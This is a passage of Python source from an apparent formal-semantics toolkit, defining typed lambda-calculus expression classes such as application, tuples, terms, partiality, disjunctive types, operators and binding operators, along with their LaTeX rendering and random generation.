ts = get_type_system()\n old_fun = None\n old_arg = None\n if fun.let:\n fun = fun.freshen_type_vars()\n if arg.let:\n arg = arg.freshen_type_vars()\n history = False\n (f_type, a_type, out_type) = ts.unify_fa(fun.type, arg.type)\n if f_type is None:\n return None\n\n if fun.type != f_type:\n fun = fun.try_adjust_type_caching(f_type,\n derivation_reason=\"Type inference (external)\",\n assignment=assignment)\n history = True\n\n if a_type != arg.type:\n arg = arg.try_adjust_type_caching(a_type,\n derivation_reason=\"Type inference (external)\",\n assignment=assignment)\n history = True\n\n return (fun, arg, out_type, history)\n\n def reducible(self):\n if isinstance(self.args[0], LFun) or isinstance(self.args[0],\n Disjunctive):\n return True\n return False\n\n def reduce(self):\n \"\"\"if there are arguments to op, see if a single reduction is\n possible.\"\"\"\n if not self.reducible():\n return self\n else:\n return derived(self.args[0].apply(self.args[1]), self,\n desc=\"Reduction\")\n\n def calculate_partiality(self, vars=None):\n # defer calculation of the argument until beta reduction has occurred\n if isinstance(self.args[0], LFun):\n return self\n else:\n return super().calculate_partiality()\n\n @classmethod\n def random(self, random_ctrl_fun):\n from . import test\n ftyp = get_type_system().random_from_class(types.FunType)\n fun = test.random_lfun_force_bound(ftyp, random_ctrl_fun)\n arg = random_ctrl_fun(typ=ftyp.left)\n return ApplicationExpr(fun, arg)\n\n\nclass Tuple(TypedExpr):\n \"\"\"TypedExpr wrapper on a tuple.\n\n This works basically as a python tuple would, and is indicated using commas\n within a parenthetical. `args` is a list containing the elements of the\n tuple.\"\"\"\n def __init__(self, args, typ=None, type_check=True):\n new_args = list()\n type_accum = list()\n for i in range(len(args)):\n if typ is None or not type_check:\n a_i = self.ensure_typed_expr(args[i])\n else:\n a_i = self.ensure_typed_expr(args[i], typ=typ[i])\n new_args.append(a_i)\n type_accum.append(a_i.type)\n super().__init__(\"Tuple\", *new_args)\n self.type = types.TupleType(*type_accum)\n\n def copy(self):\n return Tuple(self.args)\n\n def copy_local(self, *args, type_check=True):\n return Tuple(args, typ=self.type)\n\n def index(self, i):\n return self.args[i]\n\n def term(self):\n return False\n\n def tuple(self):\n \"\"\"Return a python `tuple` version of the Tuple object.\"\"\"\n return tuple(self.args)\n\n def try_adjust_type_local(self, unified_type, derivation_reason,\n assignment, env):\n content = [self.args[i].try_adjust_type(unified_type[i],\n derivation_reason=derivation_reason,\n assignment=assignment)\n for i in range(len(self.args))]\n return self.copy_local(*content)\n\n def __repr__(self):\n return \"(\" + \", \".join([repr(a) for a in self.args]) + \")\"\n\n def latex_str(self, parens=True, **kwargs):\n inner = \", \".join([a.latex_str(**kwargs) for a in self.args])\n if parens:\n return ensuremath(\"(\" + inner + \")\")\n else:\n return ensuremath(inner)\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1, max_tuple_len=5, allow_empty=True):\n if allow_empty:\n r = range(max_tuple_len+1)\n else:\n r = range(max_tuple_len+1)[1:]\n length = random.choice(r)\n signature = [get_type_system().random_type(max_type_depth, 0.5)\n for i in range(length)]\n args = [ctrl(typ=t) for t in signature]\n return Tuple(args)\n\n\n\n# suppress any constant type\nglobal suppress_constant_type\nsuppress_constant_type = False\n\n# suppress only constant predicates\n# a predicate type is either , or any characteristic function of a set of\n# tuples\nglobal suppress_constant_predicate_type\nsuppress_constant_predicate_type = True\n\nglobal suppress_bound_var_types\nsuppress_bound_var_types = True\n\nclass TypedTerm(TypedExpr):\n \"\"\"used for terms of arbitrary type. Note that this is not exactly\n standard usage of 'term'. In general, these cover variables and constants.\n The name of the term is 'op', and 'args' is empty.\n\n The attribute 'type_guessed' is flagged if the type was not specified; this\n may result in coercion as necessary.\"\"\"\n def __init__(self, varname, typ=None, latex_op_str=None, assignment=None,\n defer_type_env=False, type_check=True):\n # NOTE: does not call super\n self.op = varname\n self.derivation = None\n self.defer = False\n self.let = False\n update_a = False\n if typ is None:\n if assignment is not None and self.op in assignment:\n self.type = assignment[self.op].type\n self.type_guessed = False\n else:\n self.type = default_type(varname)\n self.type_guessed = True\n else:\n self.type_guessed = False\n self.type = typ\n if type_check and not defer_type_env: # note: cannot change type in\n # place safely with this code here\n env = self.calc_type_env()\n if assignment is not None:\n if self.op in assignment and typ is not None:\n env.add_var_mapping(self.op, assignment[self.op].type)\n self.type = env.var_mapping[self.op]\n self._type_env = env\n\n self.suppress_type = False\n if isinstance(self.op, Number): # this isn't very elegant...\n if self.type != type_n:\n raise TypeMismatch(self.op, self.type,\n \"Numeric must have type n\")\n self.type_guessed = False\n self.suppress_type = True # suppress types for numbers\n self.args = list()\n self.latex_op_str = latex_op_str\n if update_a:\n assignment[self.op] = self\n\n def copy(self):\n return TypedTerm(self.op, typ=self.type)\n\n def copy_local(self, type_check=True):\n result = TypedTerm(self.op, typ=self.type,\n latex_op_str=self.latex_op_str,\n type_check=type_check)\n if not type_check:\n result._type_env = self._type_env.copy()\n result.type_guessed = self.type_guessed\n return result\n\n def calc_type_env(self, recalculate=False):\n env = TypeEnv()\n env.add_var_mapping(self.op, self.type)\n return env\n\n def type_env(self, constants=False, target=None, free_only=True):\n if self.constant() and not constants:\n return set()\n if not target or self.op in target:\n return {self.op: self}\n return set()\n\n def free_terms(self, var_only=False):\n if not var_only or is_var_symbol(self.op):\n return {self.op}\n else:\n return set()\n\n def term(self):\n return True\n\n def apply(self, arg):\n return self(arg)\n\n @property\n def term_name(self):\n return self.op\n\n def constant(self):\n \"\"\"Return true iff `self` is a constant.\n\n This follows the prolog convention: a constant is a term with a\n capitalized first letter. Numbers are constants.\"\"\"\n return not is_var_symbol(self.op)\n\n def variable(self):\n \"\"\"Return true iff `self` is a variable.\n\n This follows the prolog convention: a variable is a term with a\n lowercase first letter.\"\"\"\n return is_var_symbol(self.op)\n\n def __repr__(self):\n return \"%s_%s\" % (self.op, repr(self.type))\n\n def should_show_type(self, assignment=None):\n if assignment and suppress_bound_var_types:\n if self.op in assignment:\n return False\n if self.suppress_type:\n return False\n if suppress_constant_type and self.constant():\n return False\n if suppress_constant_predicate_type:\n if (self.constant() and self.type.functional()\n and not isinstance(self.type, types.VariableType)):\n if ((self.type.left == types.type_e\n or isinstance(self.type.left, types.TupleType))\n and self.type.right == types.type_t):\n return False\n return True\n\n def try_coerce_new_argument(self, typ, remove_guessed = False,\n assignment=None):\n if not self.type_guessed:\n return None\n coerced_op = self.term_factory(self.op,\n typ=self.type.add_internal_argument(typ),\n preparsed=True)\n if not remove_guessed:\n coerced_op.type_guessed = True\n \n if assignment is not None and self.op in assignment:\n assignment[self.op] = coerced_op\n return coerced_op\n\n def __hash__(self):\n return hash(\"TypedTerm\") ^ super().__hash__()\n\n def latex_str(self, show_types=True, assignment=None, **kwargs):\n if self.latex_op_str is None:\n op = self.op\n else:\n op = self.latex_op_str\n if not show_types or not self.should_show_type(assignment=assignment):\n return ensuremath(\"{%s}\" % op)\n else:\n return ensuremath(\"{%s}_{%s}\" % (op, self.type.latex_str()))\n\n def _repr_latex_(self):\n return self.latex_str()\n\n random_term_base = {type_t : \"p\", type_e : \"x\", type_n : \"n\"}\n\n @classmethod\n def random(cls, random_ctrl_fun, typ=None, blockset=None, usedset=set(),\n prob_used=0.8, prob_var=0.5, max_type_depth=1):\n ts = get_type_system()\n if blockset is None:\n blockset = set()\n varname = None\n is_var = (random.random() <= prob_var)\n try_used = ((len(usedset) > 0) and (random.random() <= prob_used))\n if typ is None:\n if try_used:\n used_var = random.choice(list(usedset))\n varname = used_var.op\n typ = used_var.type\n else:\n typ = ts.random_type(max_type_depth, 0.5)\n else:\n used_typed = [x for x in list(usedset)\n if (x.type==typ and x.variable() == is_var)]\n if try_used and len(used_typed) > 0:\n varname = (random.choice(list(used_typed))).op\n if varname is None:\n if typ in cls.random_term_base.keys():\n base = cls.random_term_base[typ]\n else:\n base = \"f\"\n if not is_var:\n base = base.upper()\n varname = alpha_variant(base, blockset | {n.op for n in usedset})\n \n return TypedExpr.term_factory(varname, typ)\n\n\nTypedExpr.add_local('TypedTerm', TypedTerm)\n\nclass CustomTerm(TypedTerm):\n \"\"\"A subclass of TypedTerm used for custom displays of term names.\n\n The main application is for English-like metalanguage a la Heim and Kratzer.\n This isn't fully implemented as that metalanguage is actually extremely\n difficult to get right computationally...\"\"\"\n def __init__(self, varname, custom_english=None, suppress_type=True,\n small_caps=True, typ=None, assignment=None, type_check=True):\n TypedTerm.__init__(self, varname, typ=typ, assignment=assignment,\n type_check=type_check)\n self.custom = custom_english\n self.sc = small_caps\n self.suppress_type = suppress_type\n self.verbal = False\n # TODO: check type against custom string\n\n def copy(self):\n return CustomTerm(self.op, custom_english=self.custom,\n suppress_type=self.suppress_type,\n small_caps=self.sc,\n typ=self.type)\n\n def copy(self, op):\n return CustomTerm(op, custom_english=self.custom,\n suppress_type=self.suppress_type,\n small_caps=self.sc,\n typ=self.type)\n\n def latex_str(self, show_types=True, **kwargs):\n s = \"\"\n # custom made small caps\n if self.sc:\n if len(self.op) == 1:\n s += \"{\\\\rm %s}\" % (self.op[0].upper())\n else:\n s += \"{\\\\rm %s {\\\\small %s}}\" % (self.op[0].upper(),\n self.op[1:].upper())\n else:\n s += \"{\\\\rm %s}\" % self.op\n if show_types and not self.suppress_type:\n s += \"_{%s}\" % self.type.latex_str()\n return ensuremath(s)\n\n def __repr__(self):\n if self.sc:\n return self.op.upper()\n else:\n return self.op\n\n def get_custom(self):\n # needs to be dynamic to deal with coerced types\n if self.custom is None:\n if self.type == type_property:\n if self.verbal:\n return \"s\"\n else:\n return \"is a\"\n else:\n if self.type == type_transitive:\n if self.verbal:\n return \"s\"\n return \"\"\n else:\n return self.custom\n\n\n def custom_appl_latex(self, arg_str):\n if self.verbal:\n return \"%s\\\\text{ }%s\\\\text{%s}\" % (arg_str, self.latex_str(),\n self.get_custom())\n else:\n return \"%s \\\\text{ %s }%s\" % (arg_str, self.get_custom(),\n self.latex_str())\n\n def custom_appl(self, arg_str):\n if self.verbal:\n return \"%s %s%s\" % (arg_str, self.latex_str(), self.get_custom())\n else:\n return \"%s %s %s\" % (arg_str, repr(self), self.get_custom())\n\n\n\n###############\n#\n# Partiality\n#\n###############\n\n# possibly these belong in boolean, or somewhere else?\n\nclass Partial(TypedExpr):\n def __init__(self, body, condition, type_check=True):\n if condition is None:\n condition = from_python(True)\n if isinstance(body, Partial):\n condition = condition & body.condition\n body = body.body\n while isinstance(condition, Partial):\n condition = condition.body & condition.condition\n condition = TypedExpr.ensure_typed_expr(condition, types.type_t)\n\n super().__init__(\"Partial\", body, condition)\n self.type = body.type\n self.condition = condition\n self.body = body\n\n def calculate_partiality(self, vars=None):\n new_body = self.body.calculate_partiality(vars=vars)\n new_condition = self.condition.calculate_partiality(vars=vars)\n if isinstance(new_condition, Partial):\n new_condition = new_condition.body & new_condition.condition\n if isinstance(new_body, Partial):\n new_condition = new_condition & new_body.condition\n new_body = new_body.body\n new_condition = new_condition.simplify_all()\n return derived(Partial(new_body, new_condition), self,\n \"Partiality simplification\")\n \n def term(self):\n return self.body.term()\n\n def tuple(self):\n return tuple(self.args)\n \n def meta_tuple(self):\n return Tuple(self.args)\n \n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n tuple_version = self.meta_tuple()\n revised_type = types.TupleType(unified_type, types.type_t)\n result = tuple_version.try_adjust_type(unified_type, derivation_reason,\n assignment, env)\n return self.copy_local(result[1], result[2])\n \n def latex_str(self, **kwargs):\n if self.condition and self.condition != from_python(True):\n return ensuremath(\"\\\\left|\\\\begin{array}{l}%s\\\\\\\\%s\\\\end{array}\\\\right|\"\n % (self.body.latex_str(**kwargs),\n self.condition.latex_str(**kwargs)))\n else:\n return ensuremath(\"%s\" % (self.body.latex_str(**kwargs)))\n\n @classmethod\n def from_Tuple(cls, t):\n if (isinstance(t, TypedExpr)\n and (not isinstance(t, Tuple) or len(t) != 2)):\n raise parsing.ParseError(\n \"Partial requires a Tuple of length 2. (Received `%s`.)\"\n % repr(t))\n return Partial(t[0], t[1])\n \n @classmethod\n def get_condition(cls, p):\n if isinstance(p, Partial) or isinstance(p, PLFun):\n return p.condition\n else:\n return from_python(True)\n \n @classmethod\n def get_atissue(cls, p):\n if isinstance(p, Partial) or isinstance(p, PLFun):\n return p.body\n else:\n return p\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1):\n # This will implicitly use the same depth for the body and condition\n typ = get_type_system().random_type(max_type_depth, 0.5)\n body = ctrl(typ=typ)\n condition = ctrl(typ=type_t)\n return Partial(body, condition)\n\n \nTypedExpr.add_local(\"Partial\", Partial.from_Tuple)\n\n###############\n#\n# more type underspecification\n#\n###############\n\n\n# The `Disjunctive` class allows for the construction of ad-hoc polymorphic\n# expressions in the metalanguage. It takes a set of expressions, and gives you\n# an object that will simplify to one or more of the expressions depending on\n# type adjustment/inference. It enforces the constraint that every (non-\n# disjunctive) type it is constructed from must be simplifiable to no more than\n# one expression. So, constructing a Disjunctive from two objects of the same\n# type is not permitted, but neither are cases where the types overlap (so for\n# example, where you have an expression of type e, and an expression of type\n# [e|t], because that would lead to a problem if it were adjusted to type e.)\n#\n# In a very roundabout way, this class acts like a dictionary mapping types to\n# expressions.\nclass Disjunctive(TypedExpr):\n def __init__(self, *disjuncts, type_check=True):\n ts = get_type_system()\n principal_type = types.DisjunctiveType(*[d.type for d in disjuncts])\n t_adjust = set()\n # this is not a great way to do this (n*m) but I couldn't see a\n # cleverer way to catch stuff like:\n # > `Disjunctive(te(\"x_e\"), te(\"y_n\"), te(\"z_[e|t]\"))`\n # It would work to not have this check here, and let the error happen\n # on type adjustment later (e.g. type adjustment to `e` would fail in\n # the above example) but I decided that that would be too confusing.\n for d in disjuncts:\n for t in principal_type:\n r = d.try_adjust_type(t)\n if r is not None:\n if r.type in t_adjust:\n raise parsing.ParseError(\n \"Disjoined expressions must determine unique types\"\n \" (type %s appears duplicated in expression '%s' \"\n \"for disjuncts '%s')\"\n % (repr(t), repr(d), repr(disjuncts)))\n else:\n t_adjust |= {r.type}\n self.type = types.DisjunctiveType(*t_adjust)\n super().__init__(\"Disjunctive\", *disjuncts)\n \n def copy(self):\n return Disjunctive(*self.args)\n \n def copy_local(self, *disjuncts, type_check=True):\n return Disjunctive(*disjuncts)\n \n def term(self):\n return False\n \n def __repr__(self):\n return \"Disjunctive(%s)\" % (\",\".join([repr(a) for a in self.args]))\n \n def latex_str(self, disj_type=False, **kwargs):\n if disj_type:\n return ensuremath(\"{Disjunctive}^{%s}(%s)\" % (self.type.latex_str(),\n \", \".join([a.latex_str(**kwargs) for a in self.args])))\n else:\n return ensuremath(\"{Disjunctive}(\\\\left[%s\\\\right])\"\n % ((\"\\\\mid{}\").join([a.latex_str(**kwargs)\n for a in self.args])))\n \n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n ts = get_type_system()\n l = list()\n for a in self.args:\n t = ts.unify(unified_type, a.type)\n if t is None:\n continue\n l.append(a.try_adjust_type(t, derivation_reason=derivation_reason,\n assignment=assignment))\n assert len(l) > 0\n if (len(l) == 1):\n return l[0]\n else:\n return Disjunctive(*l)\n\n def apply(self, arg):\n if not self.type.functional():\n raise TypeMismatch(self,arg, \"Application to a non-functional Disjunction\")\n applied_disjuncts = list()\n for d in self.args:\n if not d.functional():\n continue\n try:\n applied_disjuncts.append(d.apply(arg))\n except TypeMismatch:\n continue\n result = self.factory(*applied_disjuncts)\n if result is None:\n raise TypeMismatch(self,arg, \"Application to a non-functional Disjunction\")\n return result\n\n\n @classmethod\n def from_tuple(cls, t):\n return Disjunctive(*t)\n\n @classmethod\n def factory(cls, *disjuncts):\n disjuncts = set(disjuncts)\n if len(disjuncts) == 0:\n return None\n elif len(disjuncts) == 1:\n (r,) = disjuncts\n return r\n else:\n return Disjunctive(*disjuncts)\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1, max_disj_len=3):\n r = range(max_disj_len+1)[1:]\n length = random.choice(r)\n signature = {get_type_system().random_type(max_type_depth, 0.5,\n allow_variables=False, allow_disjunction=False)\n for i in range(length)}\n args = [ctrl(typ=t) for t in signature]\n return cls.factory(*args) # may not actually generate a Disjunctive\n\nTypedExpr.add_local(\"Disjunctive\", Disjunctive.from_tuple)\n\n\n\n\n###############\n#\n# Operators\n#\n###############\n\n\nclass SyncatOpExpr(TypedExpr):\n \"\"\"This class abstracts over expressions headed by n-ary operators.\n\n In logical terms, this corresponds to syncategorematic definitions of\n operators as is standard in definitions of logics. For example, statements\n like '~p is a sentence iff p is a sentence'.\n\n It should not be instantiated directly.\"\"\"\n\n arity = 2\n canonical_name = None\n secondary_names = set()\n op_name_uni = None\n op_name_latex = None\n # should output type be a class variable?\n\n def __init__(self, typ, *args, tcheck_args=True):\n if tcheck_args:\n args = [self.ensure_typed_expr(a, typ) for a in args]\n else:\n args = [self.ensure_typed_expr(a) for a in args]\n super().__init__(self.canonical_name, *args)\n self.type = typ\n if self.op_name_uni is None:\n self.op_name_uni = self.op\n # shadow the class var:\n if self.op_name_latex is None:\n self.op_name_latex = self.op_name_uni\n\n def copy(self):\n return self.copy_local(*self.args)\n\n def copy_local(self, *args, type_check=True):\n \"\"\"This must be overriden by classes that are not produced by the\n factory.\"\"\"\n # TODO: is this necessary?\n return op_expr_factory(self.op, *args)\n\n def _repr_pretty_(self, p, cycle):\n if cycle:\n p.text(\"%s(...)\" % self.op_name_uni)\n elif self.arity == 1:\n p.text(self.op_name_uni)\n if not self.operator_style:\n p.text(\"(\")\n p.pretty(self.args[0])\n if not self.operator_style:\n p.text(\")\")\n else:\n p.text(\"(\")\n for a in self.args[0:-1]:\n p.pretty(self.args[0])\n p.text(\" %s \" % self.op_name_uni)\n p.pretty(self.args[-1])\n p.text(\")\")\n\n def __str__(self):\n return \"%s\\nType: %s\" % (repr(self), self.type)\n\n def __repr__(self):\n if self.arity == 1:\n if (self.operator_style):\n return \"%s%s\" % (self.op, repr(self.args[0]))\n else:\n return \"%s(%s)\" % (self.op, repr(self.args[0]))\n else:\n op_text = \" %s \" % self.op\n return \"(%s)\" % (op_text.join([repr(a) for a in self.args]))\n\n def latex_str_long(self):\n return self.latex_str() + \"\\\\\\\\ Type: %s\" % self.type.latex_str()\n\n def latex_str(self, **kwargs):\n if self.arity == 1:\n if (self.operator_style):\n return ensuremath(\"%s %s\" % (self.op_name_latex,\n self.args[0].latex_str(**kwargs)))\n else:\n return ensuremath(\"%s(%s)\" % (self.op_name_latex,\n self.args[0].latex_str(**kwargs)))\n else:\n op_text = \" %s \" % self.op_name_latex\n return ensuremath(\"(%s)\" % (op_text.join(\n [a.latex_str(**kwargs) for a in self.args])))\n\n @classmethod\n def join(cls, *l):\n \"\"\"Joins an arbitrary number of arguments using the binary operator.\n Note that currently association is left to right. Requires a subclass\n that defines a two-parameter __init__ function. (I.e. will potentially\n fail if called on the abstract class.)\n\n Will also fail on operators that do not take the same type (i.e.\n SetContains).\n \"\"\"\n if cls.arity != 2:\n raise ValueError(\"Can't join with a %d-ary operator\", cls.arity)\n if len(l) == 0:\n return from_python(True)\n if len(l) == 1:\n return l[0]\n else:\n cur = l[0]\n for i in range(len(l) - 1):\n cur = cls(cur, l[i+1]) # will raise an error if the subclass\n # doesn't define a constructor this way.\n return cur\n\n @classmethod\n def random(cls, ctrl):\n # this will fail if type_t is wrong for the class, so override\n return cls(*[ctrl(typ=type_t) for a in range(cls.arity)])\n\ndef to_python(te):\n from .boolean import true_term, false_term\n if te.type == type_n and isinstance(te.op, Number):\n return te.op\n elif te == true_term:\n return True\n elif te == false_term:\n return False\n else:\n return te\n\ndef from_python(p):\n # generalize me\n from .boolean import true_term, false_term\n if p is True:\n return true_term\n elif p is False:\n return false_term\n elif isinstance(p, Number):\n return TypedTerm(p, type_n)\n else:\n raise NotImplementedError\n\n# decorator for wrapping simplify functions, see examples below.\n# TODO: this could be generalized a further...\ndef op(op, arg_type, ret_type,\n op_uni=None, op_latex=None, deriv_desc=None,\n python_only=True):\n if deriv_desc is None:\n deriv_desc = op_uni and op_uni or op\n\n def op_decorator(func):\n # we will pass `self` to func, so allow an extra param for it\n arity = len(inspect.signature(func).parameters) - 1\n\n # constructs a subclass of either Syncat\n if not (arity == 1 or arity == 2):\n raise ValueError(\"@op needs function of arity 1 or 2 (got %d)\" % arity)\n class WrappedOp(SyncatOpExpr):\n def __init__(self, *args):\n # XX this updates __name__ but not __class__\n functools.update_wrapper(self, func)\n if len(args) != arity:\n # what exception type to use here?\n raise parsing.ParseError(\n \"%s (%s) needs %d operands but %d were given\"\n % (op_uni, func.__name__, arity, len(args)))\n args = [self.ensure_typed_expr(a, arg_type) for a in args]\n self.operator_style = True\n super().__init__(ret_type, *args, tcheck_args=False)\n\n def simplify(self):\n parts = [to_python(a.copy()) for a in self.args]\n if python_only and any([isinstance(a, TypedExpr) for a in parts]):\n return self\n return derived(te(func(self, *parts)), self, desc=deriv_desc)\n\n @classmethod\n def random(cls, ctrl):\n args = [ctrl(typ=arg_type) for i in range(arity)]\n return cls(*args)\n\n WrappedOp.arity = arity\n WrappedOp.canonical_name = op\n WrappedOp.op_name_uni = op_uni\n WrappedOp.op_name_latex = op_latex\n\n WrappedOp.__name__ = func.__name__\n return WrappedOp\n return op_decorator\n\n\n# probably belongs elsewhere\nclass BinaryGenericEqExpr(SyncatOpExpr):\n canonical_name = \"<=>\"\n op_name_latex = \"=\"\n\n \"\"\"Type-generic equality. This places no constraints on the type of `arg1`\n and `arg2` save that they be equal.\"\"\"\n def __init__(self, arg1, arg2):\n # TODO: the interaction of this operator (and the type t variant)\n # with polymorphic types is messy...\n if arg1.type.is_polymorphic() or arg2.type.is_polymorphic():\n raise TypeMismatch(\"Equality operator requires non-polymorphic types.\")\n arg1 = self.ensure_typed_expr(arg1)\n # maybe raise the exception directly?\n arg2 = self.ensure_typed_expr(arg2, arg1.type)\n # some problems with equality using '==', TODO recheck, but for now\n # just use \"<=>\" in the normalized form\n super().__init__(type_t, arg1, arg2, tcheck_args = False)\n\n def simplify(self):\n if (isinstance(self.args[0].op, Number)\n and isinstance(self.args[1].op, Number)):\n return derived(te(self.args[0].op == self.args[1].op),\n self, desc=\"Equality\")\n else:\n return self # this would require a solver for the general case\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1):\n body_type = get_type_system().random_type(max_type_depth, 0.5)\n return cls(ctrl(typ=body_type), ctrl(typ=body_type))\n\n\n\nclass TupleIndex(SyncatOpExpr):\n arity = 2\n canonical_name = \"[]\" # not a normal SyncatOpExpr!\n\n def __init__(self, arg1, arg2, type_check=True):\n arg1 = self.ensure_typed_expr(arg1)\n if not isinstance(arg1.type, types.TupleType):\n raise types.TypeMismatch(arg1, arg2,\n mode=\"Tuple indexing expression with a non-tuple\")\n arg2 = self.ensure_typed_expr(arg2, types.type_n)\n if isinstance(arg2.op, Number): # TODO better way to determine whether\n # arg2 is a constant of type type_n?\n if arg2.op >= len(arg1.type):\n raise TypeMismatch(arg1, arg2,\n mode=\"Tuple indexing expression with out-of-range index\")\n output_type = arg1.type[arg2.op]\n else:\n output_type = types.VariableType(\"X\") # TODO this is problematic\n logger.warning(\n \"Using non-constant tuple index; not well-supported.\")\n super().__init__(output_type, arg1, arg2, tcheck_args=False)\n\n def copy(self):\n return TupleIndex(self.args[0], self.args[1])\n\n def copy_local(self, arg1, arg2, type_check=True):\n return TupleIndex(arg1, arg2)\n\n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n if isinstance(self.args[1].op, Number):\n ttype = list(self.args[0].type)\n ttype[self.args[1].op] = unified_type\n adjusted_tuple = self.args[0].try_adjust_type(\n types.TupleType(*ttype))\n return self.copy_local(adjusted_tuple, self.args[1])\n else:\n logger.warning(\n \"Using non-constant index; not well-supported at present.\")\n return None\n\n def __str__(self):\n return \"%s\\nType: %s\" % (repr(self), self.type)\n\n def __repr__(self):\n return \"(%s[%s])\" % (repr(self.args[0]), repr(self.args[1]))\n\n def latex_str_long(self):\n return self.latex_str() + \"\\\\\\\\ Type: %s\" % self.type.latex_str()\n\n def latex_str(self, **kwargs):\n return ensuremath(\"(%s[%s])\" % (self.args[0].latex_str(**kwargs),\n self.args[1].latex_str(**kwargs)))\n\n def reduce(self):\n if (isinstance(self.args[0], Tuple)\n and isinstance(self.args[1].op, Number)):\n result = self.args[0].tuple()[self.args[1].op].copy()\n return derived(result, self, \"Resolution of index\")\n else:\n return self\n\n\n def reducible(self):\n if (isinstance(self.args[0], Tuple)\n and isinstance(self.args[1].op, Number)):\n return True\n # no support for non-constant indices at present, not even ones that\n # should be mathematically simplifiable\n return False\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1):\n content_type = get_type_system().random_type(max_type_depth, 0.5)\n tup = Tuple.random(ctrl, max_type_depth=max_type_depth,\n allow_empty=False)\n index = random.choice(range(len(tup)))\n return TupleIndex(tup, index)\n\n\n\n###############\n#\n# Binding expressions\n#\n###############\n\n\n\nglobal recurse_level\nrecurse_level = 0\n\nclass BindingOp(TypedExpr):\n \"\"\"Abstract class for a unary operator with a body that binds a single\n variable in its body.\n\n Never instantiated directly. To see how to use this, it may be helpful to\n look at the definite description tutorial, which shows how to build an iota\n operator.\"\"\"\n\n op_regex = None\n init_op_regex = None\n\n # set the following in subclasses\n canonical_name = None\n secondary_names = set()\n allow_multivars = False\n allow_novars = False\n op_name_uni = None\n op_name_latex = None\n\n partiality_weak = True\n\n @classmethod\n def binding_op_factory(self, op_class, var_list, body, assignment=None):\n for i in range(len(var_list)):\n if not is_var_symbol(var_list[i][0]):\n raise parsing.ParseError(\n \"Need variable name in binding operator expression\"\n \" (received '%s')\" % var_list[i][0], None)\n if var_list[i][1] is None:\n # TODO: flag as a guessed type somehow?\n var_list[i] = (var_list[i][0],\n default_variable_type(var_list[i][0]))\n if op_class.allow_multivars or op_class.allow_novars:\n # use alternate constructor\n if (not op_class.allow_multivars) and len(var_list) > 1:\n raise parsing.ParseError(\n \"Operator class '%s' does not allow >1 variables\"\n % (op_class.canonical_name), None) \n if (not op_class.allow_novars) and len(var_list) == 0:\n raise parsing.ParseError(\n \"Operator class '%s' does not allow 0 variables\"\n % (op_class.canonical_name), None) \n return op_class(var_list, body, assignment=assignment)\n else:\n if len(var_list) != 1:\n raise parsing.ParseError(\n \"Operator class '%s' does not allow %i variables\"\n % (op_class.canonical_name, len(var_list)), None)\n return op_class(var_or_vtype=var_list[0][1],\n varname=var_list[0][0],\n body=body,\n assignment=assignment)\n\n def __init__(self, var_or_vtype, typ, body, varname=None, body_type=None,\n assignment=None, type_check=True):\n # NOTE: not calling superclass\n # Warning: can't assume in general that typ is not None. \n # I.e. may be set in subclass after a call\n # to this function. Subclass is responsible for doing this properly...\n if body_type is None:\n body_type = typ\n if isinstance(var_or_vtype, str): # TODO: support type strings\n var_or_vtype = TypedExpr.term_factory(var_or_vtype)\n if isinstance(var_or_vtype, TypedTerm):\n if varname is not None:\n logger.warning(\"Overriding varname '%s' with '%s'\"\n % (varname, var_or_vtype.op))\n varname = var_or_vtype.op\n vartype = var_or_vtype.type\n elif isinstance(var_or_vtype, types.TypeConstructor):\n if varname is None:\n varname = self.default_varname()\n vartype = var_or_vtype\n else:\n logger.error(\"Unknown var_or_vtype: \" + repr(var_or_vtype))\n raise NotImplementedError\n if not is_var_symbol(varname):\n raise ValueError(\"Need variable name (got '%s')\" % varname)\n if typ is not None:\n self.type = typ\n self.derivation = None\n self.type_guessed = False\n self.defer = False\n self.let = False\n self.init_args()\n self.init_var(varname, vartype)\n # TODO: consider overriding __eq__ and __hash__.\n if type_check:\n sassign = self.scope_assignment(assignment=assignment)\n self.init_body(self.ensure_typed_expr(body, body_type,\n assignment=sassign))\n body_env = self.body.get_type_env()\n if self.varname in body_env.var_mapping: # binding can be vacuous\n if body_env.var_mapping[self.varname] != self.vartype:\n # propagate type inference to binding expression\n new_vartype = body_env.var_mapping[self.varname]\n assert new_vartype is not None\n self.init_var(self.varname, new_vartype)\n self.init_body(self.body.regularize_type_env())\n self.init_var_by_instance(\n self.var_instance.under_type_assignment(body_env.type_mapping,\n merge_intersect=False))\n else:\n self.init_body(body)\n\n def copy_local(self, *args, type_check=True):\n return type(self)(*args, type_check=type_check)\n\n def scope_assignment(self, assignment=None):\n if assignment is None:\n assignment = dict()\n else:\n assignment = assignment.copy()\n assignment[self.varname] = self.var_instance\n return assignment\n\n def default_varname(self):\n return \"x\"\n\n def init_args(self):\n try:\n a = self.args\n except AttributeError:\n self.args = list([None, None])\n assert len(self.args) == 2\n\n def init_var(self, name=None, typ=None):\n self.init_args()\n if name is None:\n if typ is None:\n raise ValueError\n else:\n var_instance = TypedTerm(self.varname, typ)\n else:\n if typ is None:\n var_instance = TypedTerm(name, self.var_instance.type)\n else:\n var_instance = TypedTerm(name, typ)\n self.args[0] = var_instance\n self.op = \"%s:\" % (self.canonical_name)\n\n\n def init_var_by_instance(self, v):\n self.init_var(v.op, v.type)\n\n def init_body(self, b):\n self.init_args()\n self.args[1] = b\n\n @property\n def varname(self):\n return self.var_instance.term_name\n\n @property\n def vartype(self):\n return self.var_instance.type\n\n @property\n def var_instance(self):\n return self.args[0]\n\n @property\n def body(self):\n return self.args[1] \n\n @classmethod\n def compile_ops_re(cls):\n \"\"\"Recompile the regex for detecting operators.\"\"\"\n global registry\n op_names = (registry.binding_ops.keys()\n | registry.canonicalize_binding_ops.keys())\n # sort with longer strings first, to avoid matching subsets of long\n # names i.e. | is not greedy, need to work around that.\n op_names = list(op_names)\n op_names.sort(reverse=True)\n if len(op_names) == 0:\n BindingOp.op_regex = None\n BindingOp.init_op_regex = None\n else:\n regex = \"(\" + (\"|\".join(op_names)) + \")\"\n BindingOp.op_regex = re.compile(regex)\n BindingOp.init_op_regex = re.compile(r'^\\s*' + regex)\n\n def alpha_convert(self, new_varname):\n \"\"\"Produce an alphabetic variant of the expression 